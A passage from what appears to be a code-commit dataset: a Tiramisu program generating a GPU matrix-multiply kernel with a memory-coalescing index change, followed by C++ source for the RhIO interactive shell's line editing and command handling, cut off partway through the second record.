-------------------------------------------------------\n \/\/ Layer I\n \/\/ -------------------------------------------------------\n\n \/\/ Declare loop iterators\n var i(\"i\", 0, M), j(\"j\", 0, N), k(\"k\", 0, K);\n var i0(\"i0\", 0, M \/ R_BLOCK_I), i1(\"i1\", 0, R_BLOCK_I), j0(\"j0\", 0, N \/ R_BLOCK_J), j1(\"j1\", 0, R_BLOCK_J), k0(\"k0\", 0, K \/ BLOCK), k1(\"k1\", 0, BLOCK);\n var k0_skiplast(\"k0\", 0, K \/ BLOCK - 1);\n var i00(\"i00\"), i01(\"i01\"), j00(\"j00\"), j01(\"j01\");\n\n \/\/ Declare cpu buffers.\n buffer b_A(\"b_A\", {M, K}, DATA_PTYPE, a_input);\n buffer b_B(\"b_B\", {K, N}, DATA_PTYPE, a_input);\n buffer b_C(\"b_C\", {M, N}, DATA_PTYPE, a_output);\n buffer b_Consts(\"b_Consts\", {2}, DATA_PTYPE, a_input);\n \/\/ Declare gpu buffers.\n buffer b_A_glb(\"b_A_glb\", {M, K}, DATA_PTYPE, a_temporary);\n buffer b_B_glb(\"b_B_glb\", {K, N}, DATA_PTYPE, a_temporary);\n buffer b_C_glb(\"b_C_glb\", {M, N}, DATA_PTYPE, a_temporary);\n \/\/ \"+ 1\" to reduce shared memory bank conflicts\n buffer b_A_shr(\"b_A_shr\", {2, BLOCK, BLOCK * R_BLOCK_I + 1}, DATA_PTYPE, a_temporary);\n buffer b_B_shr(\"b_B_shr\", {2, BLOCK, BLOCK * R_BLOCK_J}, DATA_PTYPE, a_temporary);\n buffer b_A_reg(\"b_A_reg\", {1}, DATA_PTYPE, a_temporary);\n buffer b_B_reg(\"b_B_reg\", {R_BLOCK_J}, DATA_PTYPE, a_temporary);\n buffer b_acc(\"b_acc\", {R_BLOCK_I, R_BLOCK_J}, DATA_PTYPE, a_temporary);\n b_A_glb.tag_gpu_global();\n b_B_glb.tag_gpu_global();\n b_C_glb.tag_gpu_global();\n b_A_shr.tag_gpu_shared();\n b_B_shr.tag_gpu_shared();\n b_A_reg.tag_gpu_register();\n b_B_reg.tag_gpu_local();\n b_acc.tag_gpu_local();\n\n\n \/\/ Declare input wrappers\n input c_A_glb({i0, j0, k0, i1}, DATA_PTYPE);\n input c_A_shr({i0, j0, k0, k1, i1}, DATA_PTYPE);\n input c_A({i, k}, DATA_PTYPE);\n input c_B_glb({i0, j0, k0, j1}, DATA_PTYPE);\n input c_B_shr({i0, j0, k0, k1, j1}, DATA_PTYPE);\n input c_B({k, j}, DATA_PTYPE);\n input c_Consts({i}, DATA_PTYPE);\n constant c_alpha(\"alpha\", c_Consts(0));\n constant c_beta(\"beta\", c_Consts(1));\n \/\/ Declare computations\n computation c_A_glb_to_shr_pre({i0, j0, i1}, c_A_glb(i0, j0, 0, i1));\n computation c_A_glb_to_shr({i0, j0, k0_skiplast, i1}, c_A_glb(i0, j0, k0_skiplast + 1, i1));\n computation c_A_shr_to_reg({i0, j0, k0, k1, i1}, c_A_shr(i0, j0, k0, k1, i1));\n computation c_B_glb_to_shr_pre({i0, j0, j1}, c_B_glb(i0, j0, 0, j1));\n computation c_B_glb_to_shr({i0, j0, k0_skiplast, j1}, c_B_glb(i0, j0, k0_skiplast + 1, j1));\n computation c_B_shr_to_reg({i0, j0, k0, k1, j1}, c_B_shr(i0, j0, k0, k1, j1));\n computation c_acc_init({i, j}, (float) 0);\n computation c_acc({i, j, k}, DATA_PTYPE);\n c_acc.set_expression(c_acc(i, j, 0) + c_A(i, k) * c_B(k, j));\n computation c_C({i, j}, DATA_PTYPE);\n c_C.set_expression(c_acc(i, j, 0) * c_alpha + c_C(i, j) * c_beta);\n \/\/ Declare declarations\n computation c_A_shr_dec({i0, j0}, allocate(b_A_shr));\n computation c_A_reg_dec({i0, j0}, allocate(b_A_reg));\n computation c_B_shr_dec({i0, j0}, allocate(b_B_shr));\n computation c_B_reg_dec({i0, j0}, allocate(b_B_reg));\n computation c_acc_dec({i0, j0}, allocate(b_acc));\n \/\/ Declare synchronizer computations\n computation c_sync1({i0, j0}, tiramisu::sync());\n computation c_sync2({i0, j0, k0}, tiramisu::sync());\n \/\/ Declare host-gpu transfer computations.\n computation copy_A_to_device({}, memcpy(b_A, b_A_glb));\n computation copy_B_to_device({}, memcpy(b_B, b_B_glb));\n computation copy_C_to_device({}, memcpy(b_C, b_C_glb));\n computation copy_C_to_host({}, memcpy(b_C_glb, b_C));\n\n \/\/ -------------------------------------------------------\n \/\/ Layer II\n \/\/ -------------------------------------------------------\n\n \/\/ Scheduling commands\n\n c_A_shr_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_A_reg_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_acc_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_A_glb_to_shr_pre.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_A_glb_to_shr.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_A_shr_to_reg.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_shr_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_reg_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_glb_to_shr_pre.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_glb_to_shr.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_shr_to_reg.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_acc_init.tile(i, j, R_BLOCK_I, R_BLOCK_J, i0, j0, i1, j1);\n c_acc_init.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_acc.tile(i, j, R_BLOCK_I, R_BLOCK_J, i0, j0, i1, j1);\n c_acc.interchange(j1, k);\n c_acc.interchange(i1, k);\n c_acc.split(k, BLOCK, k0, k1);\n c_acc.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_C.tile(i, j, R_BLOCK_I, R_BLOCK_J, i0, j0, i1, j1);\n c_C.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_sync1.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_sync2.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n\n copy_A_to_device.then(copy_B_to_device, computation::root)\n .then(copy_C_to_device, computation::root)\n .then(c_A_shr_dec, computation::root)\n .then(c_B_shr_dec, j01)\n .then(c_A_reg_dec, j01)\n .then(c_B_reg_dec, j01)\n .then(c_acc_dec, j01)\n .then(c_acc_init, j01)\n .then(c_A_glb_to_shr_pre, j01)\n .then(c_B_glb_to_shr_pre, j01)\n .then(c_sync1, j01)\n .then(c_A_glb_to_shr, j01)\n .then(c_B_glb_to_shr, k0)\n .then(c_B_shr_to_reg, k0)\n .then(c_A_shr_to_reg, k1)\n .then(c_acc, i1)\n .then(c_sync2, k0)\n .then(c_C, j01)\n .then(copy_C_to_host, computation::root);\n\n \/\/ -------------------------------------------------------\n \/\/ Layer III\n \/\/ -------------------------------------------------------\n\n c_A_glb.store_in(&b_A_glb, {i0 * R_BLOCK_I + i1, k0 * BLOCK + j0 % BLOCK});\n \/\/ Note the transpose:\n c_A_glb_to_shr_pre.store_in(&b_A_shr, {0, j0 % BLOCK, i0 % BLOCK * R_BLOCK_I + i1});\n c_A_glb_to_shr.store_in(&b_A_shr, {(k0_skiplast + 1) % 2, j0 % BLOCK, i0 % BLOCK * R_BLOCK_I + i1});\n c_A_shr.store_in(&b_A_shr, {k0 % 2, k1, i0 % BLOCK * R_BLOCK_I + i1});\n c_A_shr_to_reg.store_in(&b_A_reg, {0});\n \/\/ Note that we use a transposed mapping to assure memory coalescing\n \/\/ This requires R_BLOCK_J to be equal to BLOCK\n c_B_glb.store_in(&b_B_glb, {k0 * BLOCK + j1, j0 * R_BLOCK_J + i0 % BLOCK});\n c_B_glb_to_shr_pre.store_in(&b_B_shr, {0, j1, j0 % BLOCK * R_BLOCK_J + i0 % BLOCK});\n c_B_glb_to_shr.store_in(&b_B_shr, {(k0_skiplast + 1) % 2, j1, j0 % BLOCK * R_BLOCK_J + i0 % BLOCK});\n c_B_shr.store_in(&b_B_shr, {k0 % 2, k1, j0 % BLOCK * R_BLOCK_J + j1});\n c_B_shr_to_reg.store_in(&b_B_reg, {j1});\n c_A.store_in(&b_A_reg, {i % R_BLOCK_I});\n c_B.store_in(&b_B_reg, {j % R_BLOCK_J});\n c_acc_init.store_in(&b_acc, {i % R_BLOCK_I, j % R_BLOCK_J});\n c_acc.store_in(&b_acc, {i % R_BLOCK_I, j % R_BLOCK_J});\n c_C.store_in(&b_C_glb);\n c_Consts.store_in(&b_Consts, {i});\n\n \/\/ -------------------------------------------------------\n \/\/ Code Generation\n \/\/ -------------------------------------------------------\n\n \/\/ Generate object files. Last argument triggers cuda compilation.\n tiramisu::codegen({&b_Consts, &b_A, &b_B, &b_C}, \"fct.o\", true);\n\n return 0;\n}\n<commit_msg>GPU GEMM coalescing<commit_after>#include <tiramisu\/tiramisu.h>\n\n#include \"configuration.h\"\n\nusing namespace tiramisu;\n\nint main(int argc, char **argv)\n{\n \/\/ Double tiling with Register and Shared memory\n \/\/ Fused A_reg and non-square tiling\n\n tiramisu::init(\"matmul\");\n\n \/\/ -------------------------------------------------------\n \/\/ Layer I\n \/\/ -------------------------------------------------------\n\n \/\/ Declare loop iterators\n var i(\"i\", 0, M), j(\"j\", 0, N), k(\"k\", 0, K);\n var i0(\"i0\", 0, M \/ R_BLOCK_I), i1(\"i1\", 0, R_BLOCK_I), j0(\"j0\", 0, N \/ R_BLOCK_J), j1(\"j1\", 0, R_BLOCK_J), k0(\"k0\", 0, K \/ BLOCK), k1(\"k1\", 0, BLOCK);\n var k0_skiplast(\"k0\", 0, K \/ BLOCK - 1);\n var i00(\"i00\"), i01(\"i01\"), j00(\"j00\"), j01(\"j01\");\n\n \/\/ Declare cpu buffers.\n buffer b_A(\"b_A\", {M, K}, DATA_PTYPE, a_input);\n buffer b_B(\"b_B\", {K, N}, DATA_PTYPE, a_input);\n buffer b_C(\"b_C\", {M, N}, DATA_PTYPE, a_output);\n buffer b_Consts(\"b_Consts\", {2}, DATA_PTYPE, a_input);\n \/\/ Declare gpu buffers.\n buffer b_A_glb(\"b_A_glb\", {M, K}, DATA_PTYPE, a_temporary);\n buffer b_B_glb(\"b_B_glb\", {K, N}, DATA_PTYPE, a_temporary);\n buffer b_C_glb(\"b_C_glb\", {M, N}, DATA_PTYPE, a_temporary);\n \/\/ \"+ 1\" to reduce shared memory bank conflicts\n buffer b_A_shr(\"b_A_shr\", {2, BLOCK, BLOCK * R_BLOCK_I + 1}, DATA_PTYPE, a_temporary);\n buffer b_B_shr(\"b_B_shr\", {2, BLOCK, BLOCK * R_BLOCK_J}, DATA_PTYPE, a_temporary);\n buffer b_A_reg(\"b_A_reg\", {1}, DATA_PTYPE, a_temporary);\n buffer b_B_reg(\"b_B_reg\", {R_BLOCK_J}, DATA_PTYPE, a_temporary);\n buffer b_acc(\"b_acc\", {R_BLOCK_I, R_BLOCK_J}, DATA_PTYPE, a_temporary);\n b_A_glb.tag_gpu_global();\n b_B_glb.tag_gpu_global();\n b_C_glb.tag_gpu_global();\n b_A_shr.tag_gpu_shared();\n b_B_shr.tag_gpu_shared();\n b_A_reg.tag_gpu_register();\n b_B_reg.tag_gpu_local();\n b_acc.tag_gpu_local();\n\n\n \/\/ Declare input wrappers\n input c_A_glb({i0, j0, k0, i1}, DATA_PTYPE);\n input c_A_shr({i0, j0, k0, k1, i1}, DATA_PTYPE);\n input c_A({i, k}, DATA_PTYPE);\n input c_B_glb({i0, j0, k0, j1}, DATA_PTYPE);\n input c_B_shr({i0, j0, k0, k1, j1}, DATA_PTYPE);\n input c_B({k, j}, DATA_PTYPE);\n input c_Consts({i}, DATA_PTYPE);\n constant c_alpha(\"alpha\", c_Consts(0));\n constant c_beta(\"beta\", c_Consts(1));\n \/\/ Declare computations\n computation c_A_glb_to_shr_pre({i0, j0, i1}, c_A_glb(i0, j0, 0, i1));\n computation c_A_glb_to_shr({i0, j0, k0_skiplast, i1}, c_A_glb(i0, j0, k0_skiplast + 1, i1));\n computation c_A_shr_to_reg({i0, j0, k0, k1, i1}, c_A_shr(i0, j0, k0, k1, i1));\n computation c_B_glb_to_shr_pre({i0, j0, j1}, c_B_glb(i0, j0, 0, j1));\n computation c_B_glb_to_shr({i0, j0, k0_skiplast, j1}, c_B_glb(i0, j0, k0_skiplast + 1, j1));\n computation c_B_shr_to_reg({i0, j0, k0, k1, j1}, c_B_shr(i0, j0, k0, k1, j1));\n computation c_acc_init({i, j}, (float) 0);\n computation c_acc({i, j, k}, DATA_PTYPE);\n c_acc.set_expression(c_acc(i, j, 0) + c_A(i, k) * c_B(k, j));\n computation c_C({i, j}, DATA_PTYPE);\n c_C.set_expression(c_acc(i, j, 0) * c_alpha + c_C(i, j) * c_beta);\n \/\/ Declare declarations\n computation c_A_shr_dec({i0, j0}, allocate(b_A_shr));\n computation c_A_reg_dec({i0, j0}, allocate(b_A_reg));\n computation c_B_shr_dec({i0, j0}, allocate(b_B_shr));\n computation c_B_reg_dec({i0, j0}, allocate(b_B_reg));\n computation c_acc_dec({i0, j0}, allocate(b_acc));\n \/\/ Declare synchronizer computations\n computation c_sync1({i0, j0}, tiramisu::sync());\n computation c_sync2({i0, j0, k0}, tiramisu::sync());\n \/\/ Declare host-gpu transfer computations.\n computation copy_A_to_device({}, memcpy(b_A, b_A_glb));\n computation copy_B_to_device({}, memcpy(b_B, b_B_glb));\n computation copy_C_to_device({}, memcpy(b_C, b_C_glb));\n computation copy_C_to_host({}, memcpy(b_C_glb, b_C));\n\n \/\/ -------------------------------------------------------\n \/\/ Layer II\n \/\/ -------------------------------------------------------\n\n \/\/ Scheduling commands\n\n c_A_shr_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_A_reg_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_acc_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_A_glb_to_shr_pre.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_A_glb_to_shr.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_A_shr_to_reg.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_shr_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_reg_dec.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_glb_to_shr_pre.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_glb_to_shr.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_B_shr_to_reg.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_acc_init.tile(i, j, R_BLOCK_I, R_BLOCK_J, i0, j0, i1, j1);\n c_acc_init.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_acc.tile(i, j, R_BLOCK_I, R_BLOCK_J, i0, j0, i1, j1);\n c_acc.interchange(j1, k);\n c_acc.interchange(i1, k);\n c_acc.split(k, BLOCK, k0, k1);\n c_acc.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_C.tile(i, j, R_BLOCK_I, R_BLOCK_J, i0, j0, i1, j1);\n c_C.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_sync1.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n c_sync2.gpu_tile(i0, j0, BLOCK, BLOCK, i00, j00, i01, j01);\n\n copy_A_to_device.then(copy_B_to_device, computation::root)\n .then(copy_C_to_device, computation::root)\n .then(c_A_shr_dec, computation::root)\n .then(c_B_shr_dec, j01)\n .then(c_A_reg_dec, j01)\n .then(c_B_reg_dec, j01)\n .then(c_acc_dec, j01)\n .then(c_acc_init, j01)\n .then(c_A_glb_to_shr_pre, j01)\n .then(c_B_glb_to_shr_pre, j01)\n .then(c_sync1, j01)\n .then(c_A_glb_to_shr, j01)\n .then(c_B_glb_to_shr, k0)\n .then(c_B_shr_to_reg, k0)\n .then(c_A_shr_to_reg, k1)\n .then(c_acc, i1)\n .then(c_sync2, k0)\n .then(c_C, j01)\n .then(copy_C_to_host, computation::root);\n\n \/\/ -------------------------------------------------------\n \/\/ Layer III\n \/\/ -------------------------------------------------------\n\n c_A_glb.store_in(&b_A_glb, {(i0 - i0 % BLOCK + j0 % BLOCK) * R_BLOCK_I + i1, k0 * BLOCK + i0 % BLOCK});\n \/\/ Note the transpose:\n c_A_glb_to_shr_pre.store_in(&b_A_shr, {0, i0 % BLOCK, j0 % BLOCK * R_BLOCK_I + i1});\n c_A_glb_to_shr.store_in(&b_A_shr, {(k0_skiplast + 1) % 2, i0 % BLOCK, j0 % BLOCK * R_BLOCK_I + i1});\n c_A_shr.store_in(&b_A_shr, {k0 % 2, k1, i0 % BLOCK * R_BLOCK_I + i1});\n c_A_shr_to_reg.store_in(&b_A_reg, {0});\n \/\/ Note that we use a transposed mapping to assure memory coalescing\n \/\/ This requires R_BLOCK_J to be equal to BLOCK\n c_B_glb.store_in(&b_B_glb, {k0 * BLOCK + j1, j0 * R_BLOCK_J + i0 % BLOCK});\n c_B_glb_to_shr_pre.store_in(&b_B_shr, {0, j1, j0 % BLOCK * R_BLOCK_J + i0 % BLOCK});\n c_B_glb_to_shr.store_in(&b_B_shr, {(k0_skiplast + 1) % 2, j1, j0 % BLOCK * R_BLOCK_J + i0 % BLOCK});\n c_B_shr.store_in(&b_B_shr, {k0 % 2, k1, j0 % BLOCK * R_BLOCK_J + j1});\n c_B_shr_to_reg.store_in(&b_B_reg, {j1});\n c_A.store_in(&b_A_reg, {i % R_BLOCK_I});\n c_B.store_in(&b_B_reg, {j % R_BLOCK_J});\n c_acc_init.store_in(&b_acc, {i % R_BLOCK_I, j % R_BLOCK_J});\n c_acc.store_in(&b_acc, {i % R_BLOCK_I, j % R_BLOCK_J});\n c_C.store_in(&b_C_glb);\n c_Consts.store_in(&b_Consts, {i});\n\n \/\/ -------------------------------------------------------\n \/\/ Code Generation\n \/\/ -------------------------------------------------------\n\n \/\/ Generate object files. Last argument triggers cuda compilation.\n tiramisu::codegen({&b_Consts, &b_A, &b_B, &b_C}, \"fct.o\", true);\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <ctype.h>\n#include <list>\n#include <iostream>\n#include <string>\n#include <algorithm>\n#include <functional>\n#include <RhIO.hpp>\n#include \"Stream.h\"\n#include \"Shell.h\"\n#include \"utils.h\"\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\nnamespace RhIO\n{\n Shell::Shell(std::string server_)\n : server(server_), client(NULL), clientSub(NULL), stream(NULL)\n {\n }\n\n void Shell::terminal_set_ioconfig() {\n struct termios custom;\n int fd=fileno(stdin);\n tcgetattr(fd, &termsave);\n custom=termsave;\n custom.c_lflag &= ~(ICANON|ECHO);\n tcsetattr(fd,TCSANOW,&custom);\n \/\/ fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0)|O_NONBLOCK);\n fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0)); \/\/blocking\n }\n\n void Shell::displayPrompt()\n {\n Terminal::setColor(\"yellow\", true);\n std::cout << \"RhIO\";\n Terminal::clear();\n std::cout << \":\";\n Terminal::setColor(\"blue\", true);\n std::cout << getPath();\n Terminal::clear();\n std::cout << \"# \" << std::flush;\n }\n\n void Shell::run()\n {\n\n terminal_set_ioconfig();\n\n std::string reqServer = \"tcp:\/\/\"+server+\":\"+ServerRepPort;\n std::string subServer = \"tcp:\/\/\"+server+\":\"+ServerPubPort;\n terminate = false;\n Terminal::setColor(\"white\", true);\n std::cout << \"Rhoban I\/O shell, welcome!\" << std::endl;\n std::cout << \"Connecting to \" << server << std::endl;\n client = new ClientReq(reqServer);\n clientSub = new ClientSub(subServer);\n stream = new Stream(this);\n std::cout << \"Downloading the tree...\" << std::endl;\n tree = new Node(client, \"\");\n Terminal::clear();\n\n \/\/ Reading lines from stdin\n while (!terminate ) {\n displayPrompt();\n std::string line;\n \/\/ std::getline(std::cin, line);\n line=getLine();\n parse(line);\n }\n\n tcsetattr(fileno(stdin),TCSANOW,&termsave);\n std::cout << std::endl << std::flush;\n\n }\n\n std::string Shell::getLine()\n {\n\n char c;\n std::string line(\"\");\n bool done=false;\n bool esc_mode=false;\n std::deque<std::string>::iterator hist_it=shell_history.end();\n int cursorpos=0;\n std::string lastcmd(\"\");\n\n while(!done)\n {\n if ((c = getchar())>0)\n {\n switch(c)\n {\n case 0x0a: \/\/enter\n\n putchar(c);\n done=true;\n\n lastcmd=\"\";\n if(shell_history.size()>0)\n lastcmd=shell_history.back();\n\n if(line.compare(\"\")!=0 && line.compare(lastcmd)!=0) \/\/store in history if non null and different than the last cmd\n {\n shell_history.push_back(line);\n if(shell_history.size()>MAX_HISTORY)\n shell_history.pop_front();\n hist_it=shell_history.begin();\n }\n return line;\n break;\/\/useless\n\n case 0x01: \/\/Ctrl-a goto begin of line\n Terminal::clearLine();\n displayPrompt();\n std::cout<<line;\n cursorpos=0;\n if(line.size()>0)\n Terminal::cursorNLeft(line.size());\n\n break;\n\n case 0x05: \/\/Ctrl-e goto end of line\n Terminal::clearLine();\n displayPrompt();\n std::cout<<line;\n\n if(cursorpos<line.size() )\n {\n \/\/ Terminal::cursorNLeft(cursorpos);\n \/\/ Terminal::cursorNRight(line.size());\n cursorpos=line.size();\n }\n\n break;\n\n case 0xc: \/\/Ctrl-l clear screen\n Terminal::clearScreen();\n Terminal::clearLine();\n Terminal::initCursor();\n displayPrompt();\n line=\"\";\n cursorpos=0;\n break;\n\n case 0x1b: \/\/begin break mode (arrows)\n esc_mode=true;\n\n break;\n\n case 0x5b: \/\/just after 0x1b\n\n break;\n\n case 0x41: \/\/up\n if(esc_mode)\n {\n\n if(shell_history.size()>0 && hist_it!= shell_history.begin())\n {\n line=*--hist_it;\n cursorpos=line.size();\n Terminal::clearLine();\n displayPrompt();\n std::cout<<line;\n }\n esc_mode=false;\n }\n break;\n\n case 0x42: \/\/down\n if(esc_mode)\n {\n if(shell_history.size()>0 && hist_it!= shell_history.end())\n {\n line=*hist_it++;\n cursorpos=line.size();\n Terminal::clearLine();\n displayPrompt();\n std::cout<<line;\n }\n else if( hist_it== shell_history.end())\n {\n Terminal::clearLine();\n displayPrompt();\n line=\"\";\n cursorpos=0;\n }\n\n esc_mode=false;\n }\n break;\n\n case 0x43: \/\/right\n if(esc_mode)\n {\n\n if(cursorpos<line.size())\n {\n Terminal::cursorRight();\n cursorpos++;\n }\n esc_mode=false;\n }\n break;\n\n case 0x44: \/\/left\n if(esc_mode)\n {\n\n if(cursorpos>0)\n {\n Terminal::cursorLeft();\n cursorpos--;\n }\n esc_mode=false;\n }\n break;\n\n case 0x7f: \/\/backspace\n if(line.size()>0)\n {\n line.pop_back();\n Terminal::clearLine();\n displayPrompt();\n cursorpos--;\n std::cout<<line;\n }\n break;\n\n default:\n\n if(line.size()>0)\n {\n std::string tmp(\"\");\n tmp+=c;\n line.insert(cursorpos,tmp);\n }\n else{\n line+=c;\n }\n cursorpos++;\n Terminal::clearLine();\n displayPrompt();\n\n std::cout<<line;\n\n if(line.size()-cursorpos>0)\n Terminal::cursorNLeft(line.size()-cursorpos);\n\n\n break;\n }\n }\n }\n line=\"\";\n return line;\n }\n\n void Shell::parse(std::string line)\n {\n \/\/ Try to interpret command as a set\n for (int i=0; i<line.size(); i++) {\n if (line[i] == '=') {\n std::string lvalue = line.substr(0, i);\n std::string rvalue = line.substr(i+1);\n trim(lvalue);\n trim(rvalue);\n set(lvalue, rvalue);\n return;\n }\n }\n\n \/\/ Try to split line into parts and execute it\n std::list<std::string> parts;\n std::string part;\n\n for (int i=0; i<line.size(); i++) {\n if (std::isspace(line[i])) {\n if (part != \"\") {\n parts.push_back(part);\n part = \"\";\n }\n } else {\n part += line[i];\n }\n }\n if (part != \"\") {\n parts.push_back(part);\n }\n\n if (parts.size()) {\n auto command = parts.front();\n parts.pop_front();\n process(command, parts);\n }\n }\n\n void Shell::process(std::string command, std::list<std::string> args)\n {\n \/\/ First, try to quit\/exit\n if (command == \"quit\" || command == \"exit\") {\n terminate = true;\n } else {\n \/\/ Checking for the command in the list\n if (commands.count(command)) {\n std::vector<std::string> argsV;\n for (auto part : args) {\n argsV.push_back(part);\n }\n commands[command]->process(argsV);\n } else {\n auto nodeValue = getNodeValue(command);\n auto value = nodeValue.value;\n\n if (value) {\n Node::get(this, nodeValue);\n std::cout << command << \"=\" << Node::toString(value) << std::endl;\n } else {\n Terminal::setColor(\"red\", true);\n std::cout << \"Unknown command: \" << command << std::endl;\n Terminal::clear();\n }\n }\n }\n }\n\n void Shell::set(std::string lvalue, std::string rvalue)\n {\n auto node = getCurrentNode();\n auto nodeValue = getNodeValue(lvalue);\n auto value = nodeValue.value;\n\n if (value) {\n Node::setFromString(this, nodeValue, rvalue);\n } else {\n Terminal::setColor(\"red\", true);\n std::cout << \"Unknown parameter: \" << lvalue << std::endl;\n Terminal::clear();\n }\n }\n\n void Shell::registerCommand(Command *command)\n {\n command->setShell(this);\n commands[command->getName()] = command;\n }\n\n std::map<std::string, Command*> Shell::getCommands()\n {\n return commands;\n }\n\n ClientReq *Shell::getClient()\n {\n return client;\n }\n\n ClientSub *Shell::getClientSub()\n {\n return clientSub;\n }\n\n void Shell::enterPath(std::string path_)\n {\n path.push_back(path_);\n }\n\n void Shell::upPath()\n {\n if (path.size()) {\n path.pop_back();\n }\n }\n\n bool Shell::goToPath(std::string spath)\n {\n if (auto node = getNode(spath)) {\n auto parts = pathToParts(node->getPath());\n\n path.clear();\n for (auto part : parts) {\n path.push_back(part);\n }\n return true;\n } else {\n return false;\n }\n }\n\n std::string Shell::getPath()\n {\n std::string p = \"\";\n\n for (auto part : path) {\n if (p != \"\") {\n p += \"\/\";\n }\n p += part;\n }\n\n return p;\n }\n\n std::vector<std::string> Shell::pathToParts(std::string spath)\n {\n auto parts = split(spath, '\/');\n std::vector<std::string> path;\n\n for (auto part : parts) {\n if (part != \"\") {\n path.push_back(part);\n }\n }\n\n return path;\n }\n\n Node *Shell::getNode(std::string spath)\n {\n if (spath.size()==0 || spath[0]!='\/') {\n auto myPath = getPath();\n if (myPath != \"\") {\n myPath += \"\/\";\n }\n spath = myPath + spath;\n }\n\n auto path = pathToParts(spath);\n\n Node *node = tree;\n for (auto part : path) {\n node = node->getChild(part);\n if (node == NULL) {\n return NULL;\n }\n }\n return node;\n }\n\n NodeValue Shell::getNodeValue(std::string path)\n {\n auto parts = pathToParts(path);\n\n if (parts.size() == 0) {\n return NodeValue(NULL, NULL);\n }\n\n \/\/ Child name\n auto name = parts[parts.size()-1];\n parts.pop_back();\n\n \/\/ Creating value path\n std::string prefix = \"\";\n for (auto part : parts) {\n if (prefix != \"\") prefix += \"\/\";\n prefix += part;\n }\n if (path[0] == '\/') {\n prefix = \"\/\" + prefix;\n }\n\n \/\/ Getting node\n auto node = getNode(prefix);\n if (node == NULL) {\n return NodeValue(NULL, NULL);\n }\n\n return node->getNodeValue(name);\n }\n\n Stream *Shell::getStream()\n {\n return stream;\n }\n\n ValueBase *Shell::getValue(std::string path)\n {\n return getNodeValue(path).value;\n }\n\n Node *Shell::getCurrentNode()\n {\n return getNode();\n }\n}\n<commit_msg>fix maj<commit_after>#include <stdio.h>\n#include <ctype.h>\n#include <list>\n#include <iostream>\n#include <string>\n#include <algorithm>\n#include <functional>\n#include <RhIO.hpp>\n#include \"Stream.h\"\n#include \"Shell.h\"\n#include \"utils.h\"\n\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <fcntl.h>\n\nnamespace RhIO\n{\n Shell::Shell(std::string server_)\n : server(server_), client(NULL), clientSub(NULL), stream(NULL)\n {\n }\n\n void Shell::terminal_set_ioconfig() {\n struct termios custom;\n int fd=fileno(stdin);\n tcgetattr(fd, &termsave);\n custom=termsave;\n custom.c_lflag &= ~(ICANON|ECHO);\n tcsetattr(fd,TCSANOW,&custom);\n \/\/ fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0)|O_NONBLOCK);\n fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0)); \/\/blocking\n }\n\n void Shell::displayPrompt()\n {\n Terminal::setColor(\"yellow\", true);\n std::cout << \"RhIO\";\n Terminal::clear();\n std::cout << \":\";\n Terminal::setColor(\"blue\", true);\n std::cout << getPath();\n Terminal::clear();\n std::cout << \"# \" << std::flush;\n }\n\n void Shell::run()\n {\n\n terminal_set_ioconfig();\n\n std::string reqServer = \"tcp:\/\/\"+server+\":\"+ServerRepPort;\n std::string subServer = \"tcp:\/\/\"+server+\":\"+ServerPubPort;\n terminate = false;\n Terminal::setColor(\"white\", true);\n std::cout << \"Rhoban I\/O shell, welcome!\" << std::endl;\n std::cout << \"Connecting to \" << server << std::endl;\n client = new ClientReq(reqServer);\n clientSub = new ClientSub(subServer);\n stream = new Stream(this);\n std::cout << \"Downloading the tree...\" << std::endl;\n tree = new Node(client, \"\");\n Terminal::clear();\n\n \/\/ Reading lines from stdin\n while (!terminate ) {\n displayPrompt();\n std::string line;\n \/\/ std::getline(std::cin, line);\n line=getLine();\n parse(line);\n }\n\n 